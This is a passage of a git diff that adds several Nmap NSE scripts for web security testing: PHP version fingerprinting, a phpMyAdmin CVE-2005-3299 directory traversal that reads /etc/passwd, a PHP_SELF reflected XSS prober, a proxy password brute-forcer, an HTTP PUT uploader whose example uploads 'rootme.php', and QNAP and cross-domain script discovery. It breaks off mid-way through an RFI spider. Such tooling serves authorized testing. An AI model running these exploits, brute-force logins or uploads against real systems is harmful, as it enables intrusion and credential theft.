+ ["fb3bbd9ccc4b3d9e0b3be89c5ff98a14"] = {"5.3.0 - 5.3.29", "5.4.0 - 5.4.45"},
+}
+
+local CREDITS_HASHES = {
+ ["744aecef04f9ed1bc39ae773c40017d1"] = {"4.0.1pl2", "4.1.0 - 4.1.2", "4.2.2"},
+ ["4ba58b973ecde12dafbbd40b54afac43"] = {"4.1.1 OpenVMS"},
+ ["8bc001f58bf6c17a67e1ca288cb459cc"] = {"4.2.0 - 4.2.2"},
+ ["3422eded2fcceb3c89cabb5156b5d4e2"] = {"4.2.3"},
+ ["1e04761e912831dd29b7a98785e7ac61"] = {"4.3.0"},
+ ["1e04761e912831dd29b7a98785e7ac61"] = {"4.3.1"},
+ ["65eaaaa6c5fdc950e820f9addd514b8b"] = {"4.3.1 Mandrake Linux"},
+ ["8a8b4a419103078d82707cf68226a482"] = {"4.3.2"},
+ ["22d03c3c0a9cff6d760a4ba63909faea"] = {"4.3.2"}, -- entity encoded "'"
+ ["8a4a61f60025b43f11a7c998f02b1902"] = {"4.3.3 - 4.3.5"},
+ ["39eda6dfead77a33cc6c63b5eaeda244"] = {"4.3.3 - 4.3.5"}, -- entity encoded "'"
+ ["913ec921cf487109084a518f91e70859"] = {"4.3.6 - 4.3.8"},
+ ["884ba1f11e0e956c7c3ba64e5e33ee9f"] = {"4.3.6 - 4.3.8"}, -- entity encoded
+ ["c5fa6aec2cf0172a5a1df7082335cf9e"] = {"4.3.8 Mandrake Linux"},
+ ["8fbf48d5a2a64065fc26db3e890b9871"] = {"4.3.9 - 4.3.11"},
+ ["f9b56b361fafd28b668cc3498425a23b"] = {"4.3.9 - 4.3.11"}, -- entity encoded "'"
+ ["ddf16ec67e070ec6247ec1908c52377e"] = {"4.4.0"},
+ ["3d7612c9927b4c5cfff43efd27b44124"] = {"4.4.0"}, -- entity encoded "'"
+ ["55bc081f2d460b8e6eb326a953c0e71e"] = {"4.4.1"},
+ ["bed7ceff09e9666d96fdf3518af78e0e"] = {"4.4.2 - 4.4.4"},
+ ["692a87ca2c51523c17f597253653c777"] = {"4.4.5 - 4.4.7"},
+ ["50ac182f03fc56a719a41fc1786d937d"] = {"4.4.8 - 4.4.9"},
+ ["3c31e4674f42a49108b5300f8e73be26"] = {"5.0.0 - 5.0.5"},
+ ["e54dbf41d985bfbfa316dba207ad6bce"] = {"5.0.0"},
+ ["6be3565cdd38e717e4eb96868d9be141"] = {"5.0.5"},
+ ["b7cf53972b35b5d57f12c9d857b6b507"] = {"5.0.5 ActiveScript"},
+ ["5518a02af41478cfc492c930ace45ae5"] = {"5.1.0 - 5.1.1"},
+ ["6cb0a5ba2d88f9d6c5c9e144dd5941a6"] = {"5.1.2"},
+ ["82fa2d6aa15f971f7dadefe4f2ac20e3"] = {"5.1.3 - 5.1.6"},
+ ["6a1c211f27330f1ab602c7c574f3a279"] = {"5.2.0"},
+ ["d3894e19233d979db07d623f608b6ece"] = {"5.2.1"},
+ ["56f9383587ebcc94558e11ec08584f05"] = {"5.2.2"},
+ ["c37c96e8728dc959c55219d47f2d543f"] = {"5.2.3 - 5.2.5", "5.2.6RC3"},
+ ["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"5.2.6"},
+ ["1ffc970c5eae684bebc0e0133c4e1f01"] = {"5.2.7 - 5.2.8"},
+ ["54f426521bf61f2d95c8bfaa13857c51"] = {"5.2.9 - 5.2.14"},
+ ["adb361b9255c1e5275e5bd6e2907c5fb"] = {"5.2.15 - 5.2.17"},
+ ["db23b07a9b426d0d033565b878b1e384"] = {"5.3.0"},
+ ["a4c057b11fa0fba98c8e26cd7bb762a8"] = {"5.3.1 - 5.3.2"},
+ ["b34501471d51cebafacdd45bf2cd545d"] = {"5.3.3"},
+ ["e3b18899d0ffdf8322ed18d7bce3c9a0"] = {"5.3.4 - 5.3.5"},
+ ["2e7f5372931a7f6f86786e95871ac947"] = {"5.3.6"},
+ ["f1f1f60ac0dcd700a1ad30aa81175d34"] = {"5.3.7 - 5.3.8"},
+ ["23f183b78eb4e3ba8b3df13f0a15e5de"] = {"5.3.9 - 5.3.29"},
+ ["85da0a620fabe694dab1d55cbf1e24c3"] = {"5.4.0 - 5.4.14"},
+ ["ebf6d0333d67af5f80077438c45c8eaa"] = {"5.4.15 - 5.4.45"},
+}
+
+action = function(host, port)
+ local response
+ local logo_versions, credits_versions
+ local logo_hash, credits_hash
+ local header_name, header_value
+ local lines
+
+ -- 1st pass : the "special" PHP-logo test
+ response = http.get(host, port, LOGO_QUERY)
+ if response.body and response.status == 200 then
+ logo_hash = stdnse.tohex(openssl.md5(response.body))
+ logo_versions = LOGO_HASHES[logo_hash]
+ end
+
+ -- 2nd pass : the PHP-credits test
+ response = http.get(host, port, CREDITS_QUERY)
+ if response.body and response.status == 200 then
+ credits_hash = stdnse.tohex(openssl.md5(response.body))
+ credits_versions = CREDITS_HASHES[credits_hash]
+ end
+
+ for name, value in pairs(response.header) do
+ if string.match(value, "^PHP/") then
+ header_name = name
+ header_value = value
+ break
+ end
+ end
+
+ lines = {}
+ if logo_versions then
+ lines[#lines + 1] = "Versions from logo query (less accurate): " .. table.concat(logo_versions, ", ")
+ elseif logo_hash and nmap.verbosity() >= 2 then
+ lines[#lines + 1] = "Logo query returned unknown hash " .. logo_hash
+ end
+ if credits_versions then
+ lines[#lines + 1] = "Versions from credits query (more accurate): " .. table.concat(credits_versions, ", ")
+ elseif credits_hash and nmap.verbosity() >= 2 then
+ lines[#lines + 1] = "Credits query returned unknown hash " .. credits_hash
+ end
+ if header_name and header_value then
+ lines[#lines + 1] = "Version from header " .. header_name .. ": " .. header_value
+ end
+
+ if #lines > 0 then
+ return table.concat(lines, "\n")
+ end
+end
diff --git a/scripts/http-phpmyadmin-dir-traversal.nse b/scripts/http-phpmyadmin-dir-traversal.nse
new file mode 100644
index 0000000..27cfa03
--- /dev/null
+++ b/scripts/http-phpmyadmin-dir-traversal.nse
@@ -0,0 +1,149 @@
+local rand = require "rand"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local http = require "http"
+local io = require "io"
+local vulns = require "vulns"
+
+description = [[
+Exploits a directory traversal vulnerability in phpMyAdmin 2.6.4-pl1 (and
+possibly other versions) to retrieve remote files on the web server.
+
+Reference:
+* http://www.exploit-db.com/exploits/1244/
+]]
+
+---
+-- @usage
+-- nmap -p80 --script http-phpmyadmin-dir-traversal --script-args="dir='/pma/',file='../../../../../../../../etc/passwd',outfile='passwd.txt'" <host/ip>
+-- nmap -p80 --script http-phpmyadmin-dir-traversal <host/ip>
+--
+-- @args http-phpmyadmin-dir-traversal.file Remote file to retrieve. Default: <code>../../../../../etc/passwd</code>
+-- @args http-phpmyadmin-dir-traversal.outfile Output file
+-- @args http-phpmyadmin-dir-traversal.dir Basepath to the services page. Default: <code>/phpMyAdmin-2.6.4-pl1/</code>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- | http-phpmyadmin-dir-traversal:
+-- | VULNERABLE:
+-- | phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion
+-- | State: VULNERABLE (Exploitable)
+-- | IDs: CVE:CVE-2005-3299
+-- | Description:
+-- | PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
+-- |
+-- | Disclosure date: 2005-10-nil
+-- | Extra information:
+-- | ../../../../../../../../etc/passwd :
+-- | root:x:0:0:root:/root:/bin/bash
+-- | daemon:x:1:1:daemon:/usr/sbin:/bin/sh
+-- | bin:x:2:2:bin:/bin:/bin/sh
+-- | sys:x:3:3:sys:/dev:/bin/sh
+-- | sync:x:4:65534:sync:/bin:/bin/sync
+-- | games:x:5:60:games:/usr/games:/bin/sh
+-- | man:x:6:12:man:/var/cache/man:/bin/sh
+-- | lp:x:7:7:lp:/var/spool/lpd:/bin/sh
+-- | mail:x:8:8:mail:/var/mail:/bin/sh
+-- | news:x:9:9:news:/var/spool/news:/bin/sh
+-- | uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
+-- | proxy:x:13:13:proxy:/bin:/bin/sh
+-- | www-data:x:33:33:www-data:/var/www:/bin/sh
+-- | backup:x:34:34:backup:/var/backups:/bin/sh
+-- | list:x:38:38:Mailing List Manager:/var/list:/bin/sh
+-- | irc:x:39:39:ircd:/var/run/ircd:/bin/sh
+-- | gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
+-- | nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
+-- | libuuid:x:100:101::/var/lib/libuuid:/bin/sh
+-- | syslog:x:101:103::/home/syslog:/bin/false
+-- | sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
+-- | dps:x:1000:1000:dps,,,:/home/dps:/bin/bash
+-- | vboxadd:x:999:1::/var/run/vboxadd:/bin/false
+-- | mysql:x:103:110:MySQL Server,,,:/nonexistent:/bin/false
+-- | memcache:x:104:112:Memcached,,,:/nonexistent:/bin/false
+-- | ../../../../../../../../etc/passwd saved to passwd.txt
+-- |
+-- | References:
+-- | http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3299
+-- |_ http://www.exploit-db.com/exploits/1244/
+author = "Alexey Meshcheryakov"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"vuln", "exploit"}
+
+portrule = shortport.http
+
+---
+--Writes string to file
+--Taken from: hostmap.nse
+local function write_file(filename, contents)
+ local f, err = io.open(filename, "w")
+ if not f then
+ return f, err
+ end
+ f:write(contents)
+ f:close()
+ return true
+end
+
+--Default configuration values
+local EXPLOIT_QUERY = "usesubform[1]=1&usesubform[2]=1&subform[1][redirect]=%s&subform[1][cXIb8O3]=1"
+local DEFAULT_FILE = "../../../../../etc/passwd"
+local DEFAULT_DIR = "/phpMyAdmin-2.6.4-pl1/"
+local EXPLOIT_PATH = "libraries/grab_globals.lib.php"
+
+action = function(host, port)
+ local dir = stdnse.get_script_args("http-phpmyadmin-dir-traversal.dir") or DEFAULT_DIR
+ local evil_uri = dir..EXPLOIT_PATH
+ local rfile = stdnse.get_script_args("http-phpmyadmin-dir-traversal.file") or DEFAULT_FILE
+ local evil_postdata = EXPLOIT_QUERY:format(rfile)
+ local filewrite = stdnse.get_script_args(SCRIPT_NAME..".outfile")
+ stdnse.debug1("HTTP POST %s%s", stdnse.get_hostname(host), evil_uri)
+ stdnse.debug1("POST DATA %s", evil_postdata)
+
+ local vuln = {
+ title = 'phpMyAdmin grab_globals.lib.php subform Parameter Traversal Local File Inclusion',
+ IDS = {CVE = 'CVE-2005-3299'},
+ state = vulns.STATE.NOT_VULN,
+ description =
+ [[PHP file inclusion vulnerability in grab_globals.lib.php in phpMyAdmin 2.6.4 and 2.6.4-pl1 allows remote attackers to include local files via the $__redirect parameter, possibly involving the subform array.
+]],
+ references = {
+ 'http://www.exploit-db.com/exploits/1244/',
+ },
+ dates = {
+ disclosure = {year = '2005', month = '10', dat = '10'},
+ },
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ -- Check if we can distinguish vulnerable from non-vulnerable response
+ local response = http.post(host, port, "/" .. rand.random_alpha(12),
+ {header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
+ local testable = true
+ if response.status == 200 then
+ testable = false
+ stdnse.debug1("Server responds with 200 for POST to any URI.")
+ end
+ response = http.post(host, port, evil_uri,
+ {header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, evil_postdata)
+ if response.body and response.status==200 then
+ stdnse.debug1("response : %s", response.body)
+ vuln.state = testable and vulns.STATE.EXPLOIT or vulns.STATE.UNKNOWN
+ vuln.extra_info = rfile.." :\n"..response.body
+ if filewrite then
+ local status, err = write_file(filewrite, response.body)
+ if status then
+ vuln.extra_info = string.format("%s%s saved to %s\n", vuln.extra_info, rfile, filewrite)
+ else
+ vuln.extra_info = string.format("%sError saving %s to %s: %s\n", vuln.extra_info, rfile, filewrite, err)
+ end
+ end
+ elseif response.status==500 then
+ vuln.state = vulns.STATE.LIKELY_VULN
+ stdnse.debug1("[Error] File not found:%s", rfile)
+ stdnse.debug1("response : %s", response.body)
+ vuln.extra_info = string.format("%s not found.\n", rfile)
+ end
+ return vuln_report:make_output(vuln)
+end
diff --git a/scripts/http-phpself-xss.nse b/scripts/http-phpself-xss.nse
new file mode 100644
index 0000000..b59d892
--- /dev/null
+++ b/scripts/http-phpself-xss.nse
@@ -0,0 +1,168 @@
+description=[[
+Crawls a web server and attempts to find PHP files vulnerable to reflected
+cross site scripting via the variable <code>$_SERVER["PHP_SELF"]</code>.
+
+This script crawls the webserver to create a list of PHP files and then sends
+an attack vector/probe to identify PHP_SELF cross site scripting
+vulnerabilities. PHP_SELF XSS refers to reflected cross site scripting
+vulnerabilities caused by the lack of sanitation of the variable
+<code>$_SERVER["PHP_SELF"]</code> in PHP scripts. This variable is commonly
+used in PHP scripts that display forms and when the script file name is
+needed.
+
+Examples of Cross Site Scripting vulnerabilities in the variable $_SERVER[PHP_SELF]:
+* http://www.securityfocus.com/bid/37351
+* http://software-security.sans.org/blog/2011/05/02/spot-vuln-percentage
+* http://websec.ca/advisories/view/xss-vulnerabilities-mantisbt-1.2.x
+
+The attack vector/probe used is: <code>/'"/><script>alert(1)</script></code>
+]]
+
+---
+-- @usage
+-- nmap --script=http-phpself-xss -p80 <target>
+-- nmap -sV --script http-self-xss <target>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-phpself-xss:
+-- | VULNERABLE:
+-- | Unsafe use of $_SERVER["PHP_SELF"] in PHP files
+-- | State: VULNERABLE (Exploitable)
+-- | Description:
+-- | PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
+-- |
+-- | Extra information:
+-- |
+-- | Vulnerable files with proof of concept:
+-- | http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
+-- | http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
+-- | http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
+-- | http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
+-- | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calder0n.com
+-- | References:
+-- | https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
+-- |_ http://php.net/manual/en/reserved.variables.server.php
+--
+-- @args http-phpself-xss.uri URI. Default: /
+-- @args http-phpself-xss.timeout Spidering timeout. (default 10s)
+--
+-- @see http-stored-xss.nse
+-- @see http-dombased-xss.nse
+-- @see http-xssed.nse
+author = "Paulino Calderon <calderon@websec.mx>"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"fuzzer", "intrusive", "vuln"}
+
+local http = require 'http'
+local httpspider = require 'httpspider'
+local shortport = require 'shortport'
+local url = require 'url'
+local stdnse = require 'stdnse'
+local vulns = require 'vulns'
+local string = require 'string'
+local table = require 'table'
+
+portrule = shortport.http
+
+-- PHP_SELF Attack vector
+local PHP_SELF_PROBE = '/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E'
+local probes = {}
+
+--Checks if attack vector is in the response's body
+--@param response Response table
+--@return True if attack vector is found in response's body
+local function check_probe_response(response)
+ stdnse.debug3("Probe response:\n%s", response.body)
+ if string.find(response.body, "'\"/><script>alert(1)</script>", 1, true) ~= nil then
+ return true
+ end
+ return false
+end
+
+--Launches probe request
+--@param host Hostname
+--@param port Port number
+--@param uri URL String
+--@return True if page is vulnerable/attack vector was found in body
+local function launch_probe(host, port, uri)
+ local probe_response
+
+ --We avoid repeating probes.
+ --This is a temp fix since httpspider do not keep track of previously parsed links at the moment.
+ if probes[uri] then
+ return false
+ end
+
+ stdnse.debug1("HTTP GET %s%s", uri, PHP_SELF_PROBE)
+ probe_response = http.get(host, port, uri .. PHP_SELF_PROBE)
+
+ --save probe in list to avoid repeating it
+ probes[uri] = true
+
+ if check_probe_response(probe_response) then
+ return true
+ end
+ return false
+end
+
+---
+--main
+---
+action = function(host, port)
+ local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/"
+ local timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..'.timeout'))
+ timeout = (timeout or 10) * 1000
+ local crawler = httpspider.Crawler:new(host, port, uri, { scriptname = SCRIPT_NAME } )
+ crawler:set_timeout(timeout)
+
+ local vuln = {
+ title = 'Unsafe use of $_SERVER["PHP_SELF"] in PHP files',
+ state = vulns.STATE.NOT_VULN,
+ description = [[
+PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
+ ]],
+ references = {
+ 'http://php.net/manual/en/reserved.variables.server.php',
+ 'https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)'
+ }
+ }
+ local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
+
+ local vulnpages = {}
+ local probed_pages= {}
+
+ while(true) do
+ local status, r = crawler:crawl()
+ if ( not(status) ) then
+ if ( r.err ) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ local parsed = url.parse(tostring(r.url))
+
+ --Only work with .php files
+ if ( parsed.path and parsed.path:match(".*.php") ) then
+ local host = parsed.host
+ local port = parsed.port or url.get_default_port(parsed.scheme)
+ local escaped_link = parsed.path:gsub(" ", "%%20")
+ if launch_probe(host,port,escaped_link) then
+ table.insert(vulnpages, parsed.scheme..'://'..host..escaped_link..PHP_SELF_PROBE)
+ end
+ end
+ end
+
+ if ( #vulnpages > 0 ) then
+ vuln.state = vulns.STATE.EXPLOIT
+ vulnpages.name = "Vulnerable files with proof of concept:"
+ vuln.extra_info = stdnse.format_output(true, vulnpages)..crawler:getLimitations()
+ end
+
+ return vuln_report:make_output(vuln)
+
+end
+
diff --git a/scripts/http-proxy-brute.nse b/scripts/http-proxy-brute.nse
new file mode 100644
index 0000000..c147943
--- /dev/null
+++ b/scripts/http-proxy-brute.nse
@@ -0,0 +1,115 @@
+local base64 = require "base64"
+local brute = require "brute"
+local creds = require "creds"
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Performs brute force password guessing against HTTP proxy servers.
+]]
+
+---
+-- @usage
+-- nmap --script http-proxy-brute -p 8080 <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 8080/tcp open http-proxy
+-- | http-proxy-brute:
+-- | Accounts
+-- | patrik:12345 - Valid credentials
+-- | Statistics
+-- |_ Performed 6 guesses in 2 seconds, average tps: 3
+--
+-- @args http-proxy-brute.url sets an alternative URL to use when brute forcing
+-- (default: http://scanme.insecure.org)
+-- @args http-proxy-brute.method changes the HTTP method to use when performing
+-- brute force guessing (default: HEAD)
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+-- maybe the script does not need to be in the external category
+-- as most request should not "leave" the proxy.
+categories = {"brute", "intrusive", "external"}
+
+
+portrule = shortport.port_or_service({8123,3128,8000,8080},{'polipo','squid-http','http-proxy'})
+
+local arg_url = stdnse.get_script_args(SCRIPT_NAME .. '.url') or 'http://scanme.nmap.org/'
+local arg_method = stdnse.get_script_args(SCRIPT_NAME .. '.method') or "HEAD"
+
+Driver = {
+
+ new = function(self, host, port)
+ local o = { host = host, port = port }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ connect = function( self )
+ return true
+ end,
+
+ login = function( self, username, password )
+
+ -- the http library does not yet support proxy authentication, so let's
+ -- do what's necessary here.
+ local header = { ["Proxy-Authorization"] = "Basic " .. base64.enc(username .. ":" .. password) }
+ local response = http.generic_request(self.host, self.port, arg_method, arg_url, { header = header, bypass_cache = true } )
+
+ -- if we didn't get a 407 error, assume the credentials
+ -- were correct. we should probably do some more checks here
+ if ( response.status ~= 407 ) then
+ return true, creds.Account:new( username, password, creds.State.VALID)
+ end
+
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ disconnect = function( self )
+ return true
+ end,
+}
+
+-- checks whether the proxy really needs authentication and that the
+-- authentication mechanism can be handled by our script, currently only
+-- BASIC authentication is supported.
+local function checkProxy(host, port, url)
+ local response = http.generic_request(host, port, arg_method, url, { bypass_cache = true })
+
+ if ( response.status ~= 407 ) then
+ return false, "Proxy server did not require authentication"
+ end
+
+ local proxy_auth = response.header["proxy-authenticate"]
+ if ( not(proxy_auth) ) then
+ return false, "No proxy authentication header was found"
+ end
+
+ local challenges = http.parse_www_authenticate(proxy_auth)
+
+ for _, challenge in ipairs(challenges) do
+ if ( "Basic" == challenge.scheme ) then
+ return true
+ end
+ end
+ return false, "The authentication scheme wasn't supported"
+end
+
+action = function(host, port)
+
+ local status, err = checkProxy(host, port, arg_url)
+ if ( not(status) ) then
+ return stdnse.format_output(false, err)
+ end
+
+ local engine = brute.Engine:new(Driver, host, port)
+ engine.options.script_name = SCRIPT_NAME
+ local result
+ status, result = engine:start()
+
+ return result
+end
diff --git a/scripts/http-put.nse b/scripts/http-put.nse
new file mode 100644
index 0000000..9902157
--- /dev/null
+++ b/scripts/http-put.nse
@@ -0,0 +1,61 @@
+local http = require "http"
+local io = require "io"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+
+description = [[
+Uploads a local file to a remote web server using the HTTP PUT method. You must specify the filename and URL path with NSE arguments.
+]]
+
+---
+-- @usage
+-- nmap -p 80 <ip> --script http-put --script-args http-put.url='/uploads/rootme.php',http-put.file='/tmp/rootme.php'
+--
+-- @output
+-- PORT STATE SERVICE
+-- PORT STATE SERVICE
+-- 80/tcp open http
+-- |_http-put: /uploads/rootme.php was successfully created
+--
+-- @args http-put.file - The full path to the local file that should be uploaded to the server
+-- @args http-put.url - The remote directory and filename to store the file to e.g. (/uploads/file.txt)
+--
+-- @xmloutput
+-- <elem key="result">/uploads/rootme.php was successfully created</elem>
+--
+-- Version 0.1
+-- Created 10/15/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 10/20/2011 - v0.2 - changed coding style, fixed categories <patrik@cqure.net>
+--
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+
+portrule = shortport.http
+
+action = function( host, port )
+ local output = stdnse.output_table()
+ local fname, url = stdnse.get_script_args('http-put.file', 'http-put.url')
+ if ( not(fname) or not(url) ) then
+ return
+ end
+
+ local f = io.open(fname, "r")
+ if ( not(f) ) then
+ output.error = ("ERROR: Failed to open file: %s"):format(fname)
+ return output, output.error
+ end
+ local content = f:read("a")
+ f:close()
+
+ local response = http.put(host, port, url, nil, content)
+ if ( 200 <= response.status and response.status < 210 ) then
+ output.result = ("%s was successfully created"):format(url)
+ return output, output.result
+ end
+
+ output.error = ("ERROR: %s could not be created"):format(url)
+ return output, output.error
+end
diff --git a/scripts/http-qnap-nas-info.nse b/scripts/http-qnap-nas-info.nse
new file mode 100644
index 0000000..b46fd4d
--- /dev/null
+++ b/scripts/http-qnap-nas-info.nse
@@ -0,0 +1,118 @@
+local http = require "http"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+
+description = [[
+Attempts to retrieve the model, firmware version, and enabled services from a
+QNAP Network Attached Storage (NAS) device.
+]]
+
+---
+-- @usage
+-- nmap --script http-qnap-nas-info -p <port> <host>
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 443/tcp open https syn-ack
+-- | http-qnap-nas-info:
+-- | Device Model: TS-859
+-- | Firmware Version: 3.2.5
+-- | Firmware Build: 0410T
+-- | Force SSL: 0
+-- | SSL Port: 443
+-- | WebFS Enabled: 1
+-- | Multimedia Station Enabled: 0
+-- | Multimedia Station V2 Supported: 1
+-- | Multimedia Station V2 Web Enabled: 0
+-- | Download Station Enabled: 0
+-- | Network Video Recorder Enabled: 0
+-- | Web File Manager Enabled: 1
+-- | Music Station Enabled: 0
+-- | Video Station Enabled: 0
+-- | Photo Station Enabled: 1
+-- | QWeb Server Enabled: 1
+-- | QWeb Server Port: 80
+-- | Qweb Server SSL Enabled: 0
+-- |_ Qweb Server SSL Port: 8081
+--
+-- @changelog
+-- 2012-01-29 - created by Brendan Coles - itsecuritysolutions.org
+-- 2020-05-19 - added Music, Video, and Photo Station detection - Clément Notin
+--
+
+author = "Brendan Coles"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"safe","discovery"}
+
+
+portrule = shortport.port_or_service ({443,8080}, "https", "tcp")
+
+action = function(host, port)
+
+ local result = {}
+ local path = "/cgi-bin/authLogin.cgi"
+ local config_file = ""
+
+ -- Retrieve file
+ stdnse.debug1("Connecting to %s:%s", host.targetname or host.ip, port.number)
+ local data = http.get(host, port, path)
+
+ -- Check if file exists
+ if data and data.status and data.status == 200 and data.body and data.body ~= "" then
+
+ -- Check if the config file is valid
+ stdnse.debug1("HTTP %s: %s", data.status, path)
+ if string.match(data.body, '<QDocRoot version="[^"]+">') then
+ config_file = data.body
+ else
+ stdnse.debug1("%s:%s uses an invalid config file.", host.targetname or host.ip, port.number)
+ return
+ end
+
+ else
+ stdnse.debug1("Failed to retrieve file: %s", path)
+ return
+ end
+
+ -- Extract system info from config file
+ stdnse.debug1("Extracting system info from %s", path)
+ local vars = {
+
+ -- System details --
+ --{"Hostname","hostname"},
+ {"Device Model", "internalModelName"},
+ {"Firmware Version","version"},
+ {"Firmware Build","build"},
+
+ -- SSL --
+ {"Force SSL","forceSSL"},
+ {"SSL Port","stunnelPort"},
+
+ -- Services --
+ {"WebFS Enabled","webFSEnabled"},
+ {"Multimedia Station Enabled","QMultimediaEnabled"},
+ {"Multimedia Station V2 Supported","MSV2Supported"},
+ {"Multimedia Station V2 Web Enabled","MSV2WebEnabled"},
+ {"Download Station Enabled","QDownloadEnabled"},
+ {"Network Video Recorder Enabled","NVREnabled"},
+ {"Web File Manager Enabled","WFM2"},
+ {"Music Station Enabled","QMusicsEnabled"},
+ {"Video Station Enabled","QVideosEnabled"},
+ {"Photo Station Enabled","QPhotosEnabled"},
+ {"QWeb Server Enabled","QWebEnabled"},
+ {"QWeb Server Port","QWebPort"},
+ {"Qweb Server SSL Enabled","QWebSSLEnabled"},
+ {"Qweb Server SSL Port","QWebSSLPort"},
+
+ }
+ for _, var in ipairs(vars) do
+ local var_match = string.match(config_file, string.format('<%s><!.CDATA.(.+)..></%s>', var[2], var[2]))
+ if var_match then table.insert(result, string.format("%s: %s", var[1], var_match)) end
+ end
+
+ -- Return results
+ return stdnse.format_output(true, result)
+
+end
diff --git a/scripts/http-referer-checker.nse b/scripts/http-referer-checker.nse
new file mode 100644
index 0000000..048fdd6
--- /dev/null
+++ b/scripts/http-referer-checker.nse
@@ -0,0 +1,89 @@
+description = [[
+Informs about cross-domain include of scripts. Websites that include
+external javascript scripts are delegating part of their security to
+third-party entities.
+]]
+
+---
+-- @usage nmap -p80 --script http-referer-checker.nse <host>
+--
+-- This script informs about cross-domain include of scripts by
+-- finding src attributes that point to a different domain.
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http syn-ack
+-- | http-referer-checker:
+-- | Spidering limited to: maxdepth=3; maxpagecount=20;
+-- | http://css3-mediaqueries-js.googlecode.com/svn/trunk/css3-mediaqueries.js
+-- |_ http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js?ver=3.4.2
+--
+---
+
+categories = {"discovery", "safe"}
+author = "George Chatzisofroniou"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local table = require "table"
+local httpspider = require "httpspider"
+
+portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open")
+
+action = function(host, port)
+
+ local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME,
+ maxpagecount = 30,
+ maxdepth = -1,
+ withinhost = 0,
+ withindomain = 0
+ })
+
+ crawler.options.doscraping = function(url)
+ if crawler:iswithinhost(url)
+ and not crawler:isresource(url, "js")
+ and not crawler:isresource(url, "css") then
+ return true
+ end
+ end
+
+ crawler:set_timeout(10000)
+
+ if (not(crawler)) then
+ return
+ end
+
+ local scripts = {}
+
+ while(true) do
+
+ local status, r = crawler:crawl()
+ if (not(status)) then
+ if (r.err) then
+ return stdnse.format_output(false, r.reason)
+ else
+ break
+ end
+ end
+
+ if crawler:isresource(r.url, "js") and not crawler:iswithinhost(r.url) then
+ scripts[tostring(r.url)] = true
+ end
+
+ end
+
+ if next(scripts) == nil then
+ return "Couldn't find any cross-domain scripts."
+ end
+
+ local results = {}
+ for s, _ in pairs(scripts) do
+ table.insert(results, s)
+ end
+
+ results.name = crawler:getLimitations()
+
+ return stdnse.format_output(true, results)
+
+end
diff --git a/scripts/http-rfi-spider.nse b/scripts/http-rfi-spider.nse
new file mode 100644
index 0000000..1d05049
--- /dev/null
+++ b/scripts/http-rfi-spider.nse
@@ -0,0 +1,283 @@
+description = [[
+Crawls webservers in search of RFI (remote file inclusion) vulnerabilities. It
+tests every form field it finds and every parameter of a URL containing a
+query.
+]]
+
+---
+-- @usage
+-- nmap --script http-rfi-spider -p80 <host>
+--
+--
+-- @output
+-- PORT STATE SERVICE REASON
+-- 80/tcp open http
+-- | http-rfi-spider:
+-- | Possible RFI in form fields
+-- | Form "(form 1)" at /experiments/rfihome.html (action rfi.pl) with fields:
+-- | inc
+-- | Form "someform" at /experiments/rfihome.html (action rfi.pl) with fields:
+-- | inc2
+-- | Possible RFI in query parameters
+-- | Path /experiments/rfi.pl with queries:
